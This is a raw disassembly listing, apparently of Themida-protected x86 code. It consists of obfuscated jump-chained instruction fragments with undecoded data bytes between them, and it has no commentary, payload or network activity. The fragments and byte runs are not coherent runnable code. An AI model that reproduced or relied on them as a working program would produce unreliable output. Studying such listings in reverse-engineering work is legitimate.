; ---------------------------------------------------------------------------
		db 30h,	0D8h, 66h
		dd 66524668h
		db 89h,	0Ch, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ebx
		push	edx
		jmp	loc_54E025
; ---------------------------------------------------------------------------


loc_55CB3D:				; CODE XREF: Themida_:00559771j
		push	edx
		push	esi
		mov	esi, 0E98584Dh
		mov	edx, esi
		pop	esi
		jmp	loc_5521D2
; ---------------------------------------------------------------------------
aISun		db '‰$$éãN',0
		align 4
		dd 4245C01h, 4244481h, 567E673Dh, 2111E950h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55CB66:				; CODE XREF: Themida_:005505B8j
		add	ebp, 4
		push	esi
		mov	esi, 4
		jmp	loc_55DDEB
; ---------------------------------------------------------------------------
		db 83h
		dd 59042404h, 0FF6CBBE9h, 5EF301FFh, 0FF6476E9h, 1237E9FFh
		dd 0E959FFFFh, 0FFFFFBE5h, 2DF00159h, 2BF315D5h, 8124348Bh
		dd 4C4h, 3DE98100h, 1382D7Fh, 0E4E950C1h, 89FFFF57h, 4C381E3h
		dd 0E9000000h, 45F0h, 5258C101h, 1ECBE9h, 81E28900h, 4C2h
		dd 4C28300h, 5C241487h,	4EDFC281h, 0D70150E5h, 5724148Bh
		dd 0C781E789h, 4, 4C781h, 3C870000h, 24248B24h,	0EFC1DFF7h
		dd 3BB85006h, 296EC518h, 0BEE958C7h
		db 0E1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55CC0B:				; CODE XREF: Themida_:0055F32Bj
		add	ebp, edi
		sub	ebp, 6D112138h
		mov	edi, [esp]
		add	esp, 4
		push	ebp
		jmp	loc_55454F
; ---------------------------------------------------------------------------


loc_55CC1F:				; CODE XREF: Themida_:0056230Ej
		sub	edi, eax
		jmp	loc_55F190
; ---------------------------------------------------------------------------


loc_55CC26:				; CODE XREF: Themida_:005620AFj
		shr	eax, 12h
		jmp	loc_55B523
; ---------------------------------------------------------------------------
		dw 83ACh
		dd 896602ECh, 4DE92414h
		db 0ADh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55CC3B:				; CODE XREF: Themida_:00558334j
		push	6470h
		mov	[esp], edx
		push	ebx
		mov	ebx, 71FB1A9Dh
		mov	edx, 242913B1h
		xor	edx, ebx
		pop	ebx
		push	edx
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 7EDF50A6h
		jmp	loc_554536
; ---------------------------------------------------------------------------
		db 56h,	0BEh, 49h
		dd 812ED716h, 0F40B40C6h, 0FF0BE915h, 0C383FFFFh, 0DF41E904h
		dd 8957FFFFh, 27B850E7h, 0C1176E23h, 534006E8h,	0BB7767BBh
		dd 6D6CE91Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55CC96:				; CODE XREF: Themida_:00551BBAj
		sub	ebp, 0B9C8D293h
		and	edx, ebp
		pop	ebp
		and	edx, 215124D1h
		jmp	loc_553550
; ---------------------------------------------------------------------------
		dw 0EA01h
		dd 7723EA81h, 95E90501h, 68FFFF45h, 58A8h, 56242C89h, 4EC81h
		dd 2C890000h, 0B4E0E924h, 0EC81FFFFh, 4, 0E9242489h, 0FFFF3FE8h
		dd 4E9835Eh, 0FFE329E9h, 4C483FFh, 4186E9h, 4BD3F700h
		dd 28C1F381h, 0DE89DDE6h, 0CCBDBA5Bh, 0C281DD48h, 5111093Dh
		dd 0EA81F201h, 5111093Dh, 5E2434FFh, 446768h, 242C8900h
		dd 0C5815D54h, 4, 48685657h, 5E73DC27h,	397FE681h, 57E971F7h
		dd 89000016h, 0EAC15DEAh, 0BB5303h, 29000000h, 0E9DA89D3h
		dd 1374h
; ---------------------------------------------------------------------------


loc_55CD48:				; CODE XREF: Themida_:00559969j
		mov	bh, 0B6h
		and	dl, bh
		mov	bx, [esp]
		jmp	loc_55ADA6
; ---------------------------------------------------------------------------
		db 59h,	0E9h, 73h
		dd 0BAFFFF5Fh, 53BA5735h, 48BB5357h, 0E9534A15h, 0C16h
		dd 8B2434FFh, 0C483240Ch, 0E0895004h, 405h, 4E88300h, 5C240487h
		dd 68243489h, 9A7h, 0E9242489h,	0FFFF2873h, 4C381h, 0C3810000h
		dd 4, 0E9241C87h, 0FE1h
; ---------------------------------------------------------------------------


loc_55CDA8:				; CODE XREF: Themida_:0055D944j
		xchg	edx, [esp]
		pop	esp
		push	3D39h
		mov	[esp], eax
		mov	eax, 4
		add	ebp, 1F8B4BFFh
		jmp	loc_54E288
; ---------------------------------------------------------------------------
		dd 0C781E789h, 4, 8704C783h, 95C243Ch, 34FF1C4Fh, 2434FF24h
		dd 8B545059h, 0ECE92404h
		db 41h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55CDE7:				; CODE XREF: Themida_:0055BC72j
		push	74Dh
		mov	[esp], ecx
		push	esp
		pop	ecx
		add	ecx, 4
		push	eax
		mov	eax, 4
		add	ecx, 3BC02A25h
		jmp	loc_561543
; ---------------------------------------------------------------------------
		dd 0FF2434FFh, 148B2434h, 5AB16824h, 0A6E90000h, 54FFFFFCh
		dd 5524048Fh, 0FFCE7DE9h, 0B6E68FFh, 4890000h, 72CB824h
		dd 0C3294D54h, 6C38158h, 1466A12h, 0BD55C3h, 0C102FC75h
		dd 0DDF707EDh, 8107EDC1h, 95E208EDh, 52C381BBh,	29718A37h
		dd 52B850EBh, 0E9718A37h, 0FFFF29F4h, 0EBC0DAB3h, 6F96E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55CE6E:				; CODE XREF: Themida_:0055513Aj
		mov	ecx, 1
		mov	esi, ecx
		mov	ecx, [esp]
		add	esp, 4
		and	eax, esi
		jmp	loc_556ABE
; ---------------------------------------------------------------------------


loc_55CE82:				; CODE XREF: Themida_:00559E9Dj
		push	55CF1551h
		pop	edx
		shl	edx, 2
		jmp	loc_55FB0D
; ---------------------------------------------------------------------------
		dd 127EE959h, 0C283FFFFh, 4EC8102h, 89000000h, 74FF2414h
		dd 8F5A0424h, 248B2404h, 48B6624h, 6F376824h, 9AE90000h
		dd 66FFFFDBh, 663D18BFh, 7162EF81h, 66DF2966h, 7162C781h
		dd 0ECBD665Bh, 0C5816639h, 1660BD8h, 0ED8166FDh, 665F0BD8h
		dd 66536655h, 665B665Dh, 0DD87664Bh, 1BA6652h, 0C2816661h
		dd 0B4E9009Eh, 0E9FFFFF8h, 0FFFF0EC5h, 24048966h, 0FF0EBCE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55CF09:				; CODE XREF: Themida_:00550D04j
		push	ecx
		mov	ecx, 7E881177h
		not	ecx
		neg	ecx
		jmp	loc_55AB9D
; ---------------------------------------------------------------------------
		dd 240C8B66h, 81E68956h, 4C6h, 4EE8100h, 87000000h, 0E95C2434h
		dd 1D34h, 8858E388h, 1C8B871Ch,	6BE95724h
		db 0B4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55CF43:				; CODE XREF: Themida_:00559F73j
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		shl	ebx, 7
		jmp	loc_55431B
; ---------------------------------------------------------------------------


loc_55CF55:				; CODE XREF: Themida_:00558974j
		mov	esi, [esp]
		add	esp, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ebx
		pop	eax
		pop	ebx
		jmp	loc_55E308
; ---------------------------------------------------------------------------
		db 1, 6Ch, 24h
		dd 5585D04h, 4,	8704C083h, 248B2404h, 3981E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55CF82:				; CODE XREF: Themida_:00554D8Aj
		add	edx, ecx
		pop	ecx
		or	edi, edx
		pop	edx
		shr	edi, 6
		push	ecx
		mov	ecx, 34276E92h
		xor	ecx, 6C893B4Fh
		jmp	loc_556BD9
; ---------------------------------------------------------------------------
		dd 6624248Bh, 5724048Bh, 1A8C68h, 24248900h, 0FFF3B8E9h
		dd 0E0FE9FFh, 0D0F7FFFFh, 0FF83C5E9h, 81425AFFh, 0C06E3AF2h
		dd 3781E91Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55CFCA:				; CODE XREF: Themida_:005525CFj
		add	esp, 4
		mov	edi, esi
		pop	esi
		sub	edi, 2FA2B5D5h
		push	edi
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_558695
; ---------------------------------------------------------------------------
		dw 895Ch
		dd 0D8E92434h, 0FFFFFFC1h, 815F2434h, 4C4h, 85E95200h
		dd 89000052h, 4812424h,	424h, 0FBE95B00h, 8800001Ch, 0D6D8E9D3h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55D012:				; CODE XREF: Themida_:00560991j
		push	4
		pop	esi
		add	ebx, 77585F52h
		sub	ebx, 2BB14B85h
		add	ebx, esi
		jmp	loc_54E972
; ---------------------------------------------------------------------------


loc_55D02B:				; CODE XREF: Themida_:005539B5j
		mov	[esp], ebx
		mov	ebx, 4
		and	ecx, ebx
		push	dword ptr [esp]
		pop	ebx
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		push	esi
		mov	esi, 4
		add	ecx, esi
		pop	esi
		xchg	ecx, [esp]
		pop	esp
		shr	ecx, 0Ah
		push	ebp
		jmp	loc_553286
; ---------------------------------------------------------------------------
		dd 3135C281h, 7DE9657Ah, 80000014h, 285850C5h, 902CE9EBh
		dd 8B66FFFFh, 0E9552404h, 0FFFFDA25h
; ---------------------------------------------------------------------------


loc_55D078:				; CODE XREF: Themida_:0055B9BDj
		not	edx
		push	ebp
		mov	ebp, 696E6E86h
		sub	esp, 4
		mov	[esp], edx
		sub	esp, 4
		jmp	loc_55D78A
; ---------------------------------------------------------------------------
		dd 89241489h, 4BF57E2h,	1000000h, 243C8BFAh, 4C481h, 0C2830000h
		dd 9F7BE904h, 0DCB9FFFFh, 115CB3Ch, 0D4E959CFh,	0F7FFFFEBh
		dd 7707E9D1h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55D0C6:				; CODE XREF: Themida_:00553B38j
		push	dword ptr [esp]
		mov	ebp, [esp]
		jmp	loc_55C808
; ---------------------------------------------------------------------------
		db 53h,	0BBh, 0E6h
		dd 814BC556h, 2A6D96F3h, 0E9DF293Bh, 3A19h, 24048B66h
		dd 293668h, 242C8900h, 8952E589h, 4C281E2h, 0E9000000h
		dd 0FFFF9229h, 405E089h, 2D000000h, 4, 5C240487h, 81243489h
		dd 4ECh, 24248900h, 4B951h, 4C010000h, 0FF590424h, 575E2434h
		dd 0B2E9E789h, 5FFFF36h, 4, 8704E883h, 895C2404h, 6855241Ch
		dd 2B2332DEh, 0D0BAE95Dh, 1C89FFFFh, 0E0BBE924h, 0C581FFFFh
		dd 4, 4ED81h, 65E90000h, 52000041h, 50FBC2BAh, 5AD031EEh
		dd 19E9C689h, 0FFFFFF8Ah, 5F042474h, 0FF24048Fh, 81592434h
		dd 4C4h, 3ED6800h, 76E90000h
		db 0C2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55D193:				; CODE XREF: Themida_:005571A8j
		pop	ecx
		jmp	loc_55319C
; ---------------------------------------------------------------------------
		db 0B8h, 33h, 55h
		dd 0C3091EF5h, 83D3F758h, 0EB81FFC3h, 21B4E0B4h, 0E95BD901h
		dd 0FFFFE50Ch
; ---------------------------------------------------------------------------


loc_55D1B4:				; CODE XREF: Themida_:00558D72j
		sub	ecx, 0BBD313Ch
		add	ecx, ebx
		jmp	loc_55F89B
; ---------------------------------------------------------------------------
		db 25h,	2Ah, 35h
		dd 6811C0h, 29000000h, 57582404h, 0C7026CBFh, 80B8501Ch
		dd 0E9211D4Ah, 0FFFF8BE6h, 7DDDF381h, 0EB8135F4h, 1, 0DBF7EBD1h
		dd 0BAC9BA52h, 0D3295DA9h, 8324148Bh, 0D90104C4h, 83241C8Bh
		dd 0C80104C4h, 23D26859h, 3C890000h, 2BF24h, 0F8010000h
		dd 3662E9h
		db 0
; ---------------------------------------------------------------------------


loc_55D21D:				; CODE XREF: Themida_:005561ACj
		xchg	esi, [esp]
		pop	esp
		add	eax, 37336691h
		jmp	loc_5521EF
; ---------------------------------------------------------------------------


loc_55D22B:				; CODE XREF: Themida_:0055A5BDj
		mov	edi, 0CBB6E4Bh
		jmp	loc_54ED37
; ---------------------------------------------------------------------------
		db 5Dh,	0E9h, 0D3h
		db 1Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55D23B:				; CODE XREF: Themida_:0055E128j
		push	esi
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	esi
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		mov	[esp], eax
		push	104Dh
		jmp	loc_55FDB1
; ---------------------------------------------------------------------------


loc_55D263:				; CODE XREF: Themida_:00555D39j
		xor	ebx, 0EF67D847h
		mov	esi, ebx
		pop	ebx
		add	esi, 4D266574h
		sub	esi, 0BC8B8DC6h
		add	eax, esi
		jmp	loc_55E5C3
; ---------------------------------------------------------------------------
		db 89h
		dd 0ADB82404h, 563720Dh, 0A9512115h, 0FF7A02E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55D291:				; CODE XREF: Themida_:00555A63j
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	ebp
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	7C35h
		jmp	loc_55B804
; ---------------------------------------------------------------------------
		dw 48Bh
		dd 61D0E924h, 0E952FFFFh, 4346h
; ---------------------------------------------------------------------------


loc_55D2CC:				; CODE XREF: Themida_:00558073j
		inc	esi
		add	esi, 5F4533C9h
		add	esi, 0C83CCE1Dh
		jmp	loc_559DEA
; ---------------------------------------------------------------------------
		dw 489h
		dd 53685124h, 8B6C7F01h, 0C483240Ch, 76C18104h,	81174003h
		dd 40FB3BC1h, 481517Ch,	7F5C7E24h, 7E2D5849h, 59497F5Ch
		dd 2F2CB951h, 0E9C13220h, 0F2E94906h
		db 8Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55D317:				; CODE XREF: Themida_:005520ECj
		mov	edi, [esp]
		add	esp, 4
		add	eax, 30A97560h
		add	eax, ebx
		sub	eax, 30A97560h
		sub	eax, 15AD6F08h
		pop	ebx
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		jmp	loc_553AD4
; ---------------------------------------------------------------------------
		db 0F6h, 0D2h, 53h
		dd 0E78057B7h, 61C780F3h, 1C8BFA30h, 4C48124h, 80000000h
		dd 5066F7F2h, 0CDE989B0h, 0FFFFFFAAh, 5B042474h, 5C24048Fh
		dd 8B242C87h, 4FE2424h,	4EE99C24h
		db 0Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55D377:				; CODE XREF: Themida_:00557EA6j
		push	eax
		mov	eax, 32343ADAh
		dec	eax
		jmp	loc_561B34
; ---------------------------------------------------------------------------
		db 56h
		dd 0C681E689h, 4, 0E904C683h, 0FFFF2CEAh, 3C8BF829h, 4C48124h
		dd 66000000h, 1EE930FFh, 81FFFF0Ah, 2A161CF3h, 5BDE8975h
		dd 0A668D6F7h, 89000009h, 14F72434h, 2404FF24h,	5E2434FFh
		dd 8104C483h, 1053CE6h,	0F7CE8723h, 36CCE9D1h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55D3D6:				; CODE XREF: Themida_:0055A227j
		push	esp
		mov	esi, [esp]
		add	esp, 4
		add	esi, 4
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], eax
		push	ebx
		push	12CB3C6Dh
		pop	ebx
		dec	ebx
		add	ebx, 7D0840AAh
		add	ebx, 702C82EEh
		mov	eax, ebx
		pop	ebx
		jmp	loc_55A5CD
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 0E9241C87h, 0FFFF6D77h, 24048B66h, 4EC81h, 3BE90000h
		dd 81FFFF9Eh, 1B222FC5h, 0B8B85038h, 0C1130E4Ch, 0E0C103E0h
		dd 0C1E8D108h, 0E8C103E8h, 22BE5604h, 10C33B8h,	2434FFF0h
		dd 4C4815Eh, 29000000h,	0C58158C5h, 628EB4EBh, 0FAE9EF01h
		dd 80FFFF91h, 0FE0066EFh, 4A16E9h, 48B6600h, 0E7895724h
		dd 4C781h, 0BB530000h, 4, 3910E9h, 1BA5200h, 29000000h
		dd 53E95AD0h, 0B2000017h, 48B753CCh, 0E95BE780h, 0FFFF2EBAh
		dd 83240C8Bh, 0C28104C4h, 7DE42E03h, 0EA81C201h, 7DE42E03h
		dd 984FE958h, 0F381FFFFh, 0E249D2E3h, 215BD889h, 2434FFC5h
		dd 8124048Bh, 4C4h, 4C48300h, 8107EDC1h, 710ABCC5h, 0B7B95169h
		dd 8100B10Fh, 346F5AC5h, 5C11E90Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55D4FE:				; CODE XREF: Themida_:0055257Aj
		add	ebx, 4
		push	edi
		mov	edi, 4
		jmp	loc_55A484
; ---------------------------------------------------------------------------
		db 81h
		dd 4ECh, 243C8900h, 0C781E789h,	4, 8704C783h, 0E95C243Ch
		dd 23D9h, 243C875Eh, 777BE95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55D536:				; CODE XREF: Themida_:0055B99Fj
		xor	ecx, 4A8A03CCh
		or	ecx, 1D3426BAh
		not	ecx
		sub	ecx, 55DE1370h
		or	ecx, 1EDB7F4Bh
		jmp	loc_55C903
; ---------------------------------------------------------------------------
		db 89h,	0Ch, 24h
		dd 42474FFh, 0FFA7D0E9h, 242C8BFFh, 4C481h, 0ED810000h
		dd 0DA7C9E5Ah, 8B5DEF01h, 54562404h, 4C6815Eh, 81000000h
		dd 4C6h, 24348700h, 2C7835Ch, 31243C33h, 3C33243Ch, 0F665C24h
		dd 9C2404ABh, 0FF0824E9h, 66FD00FFh, 77EB805Bh,	285EC380h
		dd 6994E9EBh, 34FFFFFFh, 240C8B24h, 0FF84E4E9h,	0B5F180FFh
		dd 37F180h, 546859CBh, 89000014h, 0A2E92414h, 35FFFFDDh
		dd 386206D7h, 0FFBA4BE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55D5DD:				; CODE XREF: Themida_:0055BC1Bj
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_552545
; ---------------------------------------------------------------------------


loc_55D5F0:				; CODE XREF: Themida_:0055714Fj
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	eax
		push	esp
		mov	eax, [esp]
		sub	esp, 4
		jmp	loc_55009C
; ---------------------------------------------------------------------------


loc_55D60A:				; CODE XREF: Themida_:00558713j
		pop	ebx
		push	edx
		sub	esp, 4
		jmp	loc_54EE73
; ---------------------------------------------------------------------------
		db 66h
		dd 6824048Bh, 6CD0h, 89240489h,	4EC83E0h, 0FFC2E0E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55D62D:				; CODE XREF: Themida_:00561BA9j
		pop	esp
		mul	cl
		jmp	loc_559776
; ---------------------------------------------------------------------------
		db 81h,	0EBh, 2Ah
		dd 31AF6D95h, 3FEDE9DAh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55D642:				; CODE XREF: Themida_:00561A01j
		xor	eax, ecx
		xor	eax, ebx
		xor	ebx, eax
		xor	eax, ebx
		push	edx
		jmp	loc_5560D2
; ---------------------------------------------------------------------------
		dd 0E95EF189h, 0FFFF358Fh, 81240C8Bh, 4C4h, 0B2E95500h
		db 46h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55D667:				; CODE XREF: Themida_:0055FBC3j
		and	eax, edx
		jmp	loc_561D8C
; ---------------------------------------------------------------------------
		dw 0C33h
		dd 240C3124h, 5C240C33h, 9C2404FFh, 0FF0744E9h,	241C8BFFh
		dd 4C481h, 51530000h, 8904EC83h, 0EDB7241Ch, 245CF653h
		dd 6278E901h, 0EBC0FFFFh, 41F38004h, 285BD828h,	2C4F04D8h
		dd 0C9CCE99Ah, 0F189FFFFh, 0E9C88950h, 0FFFF12D8h
; ---------------------------------------------------------------------------


loc_55D6BC:				; CODE XREF: Themida_:0055AC83j
		push	dword ptr [esp]
		pop	edi
		push	0A7Dh
		mov	[esp], eax
		push	esp
		pop	eax
		jmp	loc_5564AD
; ---------------------------------------------------------------------------
		db 8Bh
		dd 8953241Ch, 4C381E3h,	81000000h, 4C3h, 16E4E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55D6E6:				; CODE XREF: Themida_:00553BD3j
		and	edx, edi
		jmp	loc_5594D8
; ---------------------------------------------------------------------------


loc_55D6ED:				; CODE XREF: Themida_:005557F0j
		add	ecx, 4
		push	edi
		mov	edi, 5F3B56BFh
		dec	edi
		push	ecx
		mov	ecx, 65FF446Bh
		or	edi, ecx
		pop	ecx
		push	ecx
		mov	ecx, 30370177h
		or	ecx, 750D45A3h
		xor	ecx, 3A2E4FB6h
		jmp	loc_55FE23
; ---------------------------------------------------------------------------
		dw 405h
		dd 55000000h, 1019E9h
		db 0
; ---------------------------------------------------------------------------


loc_55D725:				; CODE XREF: Themida_:0055C789j
		add	ebp, 506D851Fh
		sub	eax, ebp
		pop	ebp
		push	ebx
		mov	ebx, 33103CE3h
		sub	eax, ebx
		pop	ebx
		jmp	loc_561630
; ---------------------------------------------------------------------------


loc_55D73C:				; CODE XREF: Themida_:00550A1Cj
		mov	eax, 4
		sub	ebx, 61602000h
		add	ebx, 450E45FEh
		add	ebx, eax
		sub	ebx, 450E45FEh
		push	ecx
		jmp	loc_55B972
; ---------------------------------------------------------------------------
		db 81h
		dd 4ECh, 0D4F4E900h, 4481FFFFh,	45700424h, 0E95E5BB5h
		dd 0FFFF0651h, 3304C483h, 4312404h, 97B5E924h, 0C483FFFFh
		dd 4D98E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55D78A:				; CODE XREF: Themida_:0055D08Fj
		mov	[esp], edx
		jmp	loc_55E415
; ---------------------------------------------------------------------------


loc_55D792:				; CODE XREF: Themida_:00557657j
		xor	eax, edi
		mov	edi, [esp]
		jmp	loc_55125A
; ---------------------------------------------------------------------------


loc_55D79C:				; CODE XREF: Themida_:00550420j
		mov	ebx, esp
		push	eax
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 70AB1347h
		mov	eax, 8F54ECBDh
		add	eax, ebp
		pop	ebp
		add	ebx, 69781D1Eh
		add	ebx, eax
		sub	ebx, 69781D1Eh
		pop	eax
		jmp	loc_550A1B
; ---------------------------------------------------------------------------
		dw 0EE81h
		dd 5AD7332Bh, 71E9DE01h, 68FFFF51h, 4, 56242C8Bh, 0C681E689h
		dd 4, 8704C683h, 815C2434h, 3E415EEEh, 81EE0174h, 3E415EC6h
		dd 5918E974h, 8956FFFFh, 0ABE951EEh, 0FFFFFFFEh, 815F2434h
		dd 4C4h, 4BA5200h, 81000000h, 0CA44DBC7h, 9525E96Bh, 1C8BFFFFh
		dd 4C48124h, 0E9000000h, 0FFFFD608h, 66243486h,	5EBC05Bh
		dd 0F6DE8852h, 5AF388D6h, 0FF81E1E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55D845:				; CODE XREF: Themida_:00551315j
		mov	edi, [esp]
		jmp	loc_55AFEE
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 34D7E9h
		db 0
; ---------------------------------------------------------------------------


loc_55D855:				; CODE XREF: Themida_:005512FFj
		mov	esp, [esp]
		jmp	loc_55499A
; ---------------------------------------------------------------------------


loc_55D85D:				; CODE XREF: Themida_:005612C7j
		mov	edx, 0DBC7665h
		jmp	loc_55B75A
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C4812434h, 4, 0C581FD01h, 8014B4Ah,	51243C8Bh, 0C1815954h
		dd 4, 4BA52h, 0D1010000h, 240C875Ah, 242C335Ch,	33242C31h
		dd 0F5C242Ch, 9C51C8AFh, 0FF0520E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55D8A5:				; CODE XREF: Themida_:0055014Bj
		mov	esi, 32A4589Fh
		and	esi, 5E8C738Eh
		or	esi, 734709D7h
		jmp	loc_55340D
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C892424h, 0C8B5424h, 30EBE924h, 0C05BFFFFh,	0DEE904EAh
		db 4Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55D8D3:				; CODE XREF: Themida_:00561C19j
		add	ebx, eax
		pop	eax
		dec	ebx
		push	edx
		mov	edx, 6CCC6AA0h
		neg	edx
		add	edx, 9901425h
		xor	ebx, edx
		pop	edx
		jmp	loc_55B609
; ---------------------------------------------------------------------------
		db 81h,	0EDh, 56h
		dd 898D85BDh, 0D3F75DEBh, 4EC81h, 0C0E90000h, 81000045h
		dd 4ECh, 6048E900h, 0BE56FFFFh,	386706D9h, 0E95EF789h
		dd 0FFFFFA78h, 2434FF58h, 4C4835Bh, 0E975B652h,	0FFFFB723h
; ---------------------------------------------------------------------------


loc_55D92C:				; CODE XREF: Themida_:00551D79j
		and	edx, 0BCD28F5h
		neg	edx
		jmp	loc_56195B
; ---------------------------------------------------------------------------


loc_55D939:				; CODE XREF: Themida_:00553EABj
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		jmp	loc_55CDA8
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 4
		dd 5A545224h, 4C281h, 4AE90000h
		db 24h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55D95B:				; CODE XREF: Themida_:0055FB13j
		mov	[esp], ecx
		mov	ecx, 34DD1D06h
		or	edx, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_55EE34
; ---------------------------------------------------------------------------


loc_55D973:				; CODE XREF: Themida_:0056252Bj
		push	dword ptr [esp]
		jmp	loc_550254
; ---------------------------------------------------------------------------


loc_55D97B:				; CODE XREF: Themida_:00557533j
		push	ecx
		push	ebp
		jmp	loc_55F928
; ---------------------------------------------------------------------------
		dw 0D3F7h
		dd 489BE955h, 0E1B9FFFFh, 53571C9Dh, 613EE0BBh,	0EBF3815Eh
		dd 8166122Eh, 8A6578C3h, 9FC3810Ah, 1C86499h, 0D1295BD9h
		dd 0FF8290E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55D9B1:				; CODE XREF: Themida_:00559700j
		push	edi
		mov	edi, eax
		mov	esi, edi
		pop	edi
		pop	eax
		xor	ebx, esi
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	esi
		push	ebx
		mov	ebx, esp
		jmp	loc_554830
; ---------------------------------------------------------------------------
		db 81h,	0ECh, 4
		dd 89000000h, 73BB241Ch, 0E9380009h, 0FFFFA7FBh, 0EE9C300h
		dd 5AFFFF5Ch, 0C8E9F229h, 81FFFFADh, 4EAh, 24148700h, 0AF32E95Ch
		dd 433FFFFh, 24248B24h,	0E9241489h, 0FFFFD24Dh
; ---------------------------------------------------------------------------


loc_55DA08:				; CODE XREF: Themida_:00556668j
		mov	al, bh
		jmp	loc_5513A7
; ---------------------------------------------------------------------------
		db 83h
		dd 1C8904ECh, 2474FF24h, 1EBEE904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55DA1E:				; CODE XREF: Themida_:00554C09j
		add	esp, 4
		push	15A1h
		mov	[esp], ebx
		push	4670h
		mov	[esp], esp
		push	ebp
		mov	ebp, 4
		push	eax
		jmp	loc_553729
; ---------------------------------------------------------------------------
		dd 8758C501h, 835C242Ch, 48904ECh, 0A4C1E924h, 0EF81FFFFh
		dd 3E862F09h, 2097E781h, 68524128h, 5799634Eh, 258CE95Ah
		dd 0E953FFFFh, 0FFFF1EA5h, 240C875Fh, 8324248Bh, 3AE904ECh
		db 0B0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55DA7F:				; CODE XREF: Themida_:00562891j
		mov	[esp], esi
		mov	esi, 65E077DAh
		jmp	loc_55AD95
; ---------------------------------------------------------------------------


loc_55DA8C:				; CODE XREF: Themida_:00553197j
		mov	[esp], ebx
		jmp	loc_55AC88
; ---------------------------------------------------------------------------
		dd 0E9DF895Dh, 47F7h, 0E528B9B4h, 0ABE95866h
		db 78h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55DAA7:				; CODE XREF: Themida_:0054F0C7j
		mov	ecx, esp
		sub	esp, 4
		mov	[esp], edi
		push	ecx
		mov	ecx, 60BC02D4h
		mov	edi, ecx
		pop	ecx
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_55A46B
; ---------------------------------------------------------------------------
		dw 0C581h
		dd 59FF35ABh, 7EDC15Fh,	0C11CD81h, 0E5814A1Fh, 467F4B9Ah
		dd 0FF0A9BE9h, 0EE015DFFh, 81242C8Bh, 4C4h, 5EF22900h
		dd 31241433h, 4E92414h,	81FFFF40h, 7D3653C5h, 0E9D5014Eh
		dd 0FFFFC839h, 0D6BA5256h, 812A1C47h, 0A01D9BC2h, 33896862h
		dd 3C890000h, 15DC6824h, 15F97BEh, 2434FFFAh, 8C5EE95Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55DB2E:				; CODE XREF: Themida_:005596D3j
		add	esi, 4
		push	1592h
		mov	[esp], ebx
		mov	ebx, 7082185Fh
		sub	esp, 4
		mov	[esp], ecx
		push	8D0530Ch
		pop	ecx
		sub	ecx, 69F745CEh
		push	ebp
		mov	ebp, 38736150h
		and	ecx, ebp
		pop	ebp
		jmp	loc_561239
; ---------------------------------------------------------------------------
		dd 1DBF5743h, 0C172CF3Dh, 0C78108E7h, 26071BE2h, 4DE94F4Fh
		db 1Fh,	2 dup(0)
; ---------------------------------------------------------------------------


